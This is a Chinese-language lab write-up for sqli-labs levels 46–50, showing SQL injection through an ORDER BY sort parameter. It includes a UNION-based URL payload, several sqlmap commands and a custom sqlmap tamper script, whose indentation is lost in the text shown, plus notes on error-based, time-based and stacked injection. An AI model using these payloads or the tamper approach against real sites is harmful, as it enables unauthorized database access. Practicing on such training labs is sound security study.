Less-46
这个直接看后端代码吧
可以看到这后端是使用了order by排序查询所以没办法在后面拼接union但可以使用报错注入啊
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-46/?sort=1" --technique=B --users --tamper=air.py --level=3
order by和union想同时使用需要加双方都加括号,这里只能控制union的括号无法控制order by的所以不行
但我们把后端加上括号....
http://192.168.0.101/2022.10.26/sqli-labs-master/Less-46/?sort=1)%20union%20%20%20(select%201,2,database()
即可拿下
使用sqlmap跑一下
编写脚本cx.py
#!/usr/bin/env python
import sys
import random
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
local=""
Jump=True
for i in range(len(payload)):
if ((payload[i-9:i].lower() == "union all") or (payload[i-5:i].lower() == "union") ) and Jump==True: #判断payload是不是union all或者union 是的话就在他们的后面加入一个括号
local += "("
Jump = False
local+=payload[i]
local=local.replace('#', '')
local=local.replace('-- -', '')
return local
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-46/?sort=1" --technique=U --users --tamper=cx.py,air.py
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
这个选项记得选n不然它就猜字段了,根本猜不了
Less-47
和上关比就是换了闭合变成单引号使用报错注入即可
Less-48
同46关,只不过关闭了报错,无法使用报错注入
可以使用时间注入
Less-49
同47,关闭了报错,无法使用报错注入
Less-50
堆叠注入
没了....就写个脚本摸鱼就没了...
剩下的labs也没啥能做的了就都差不多关闭报错换闭合之类的了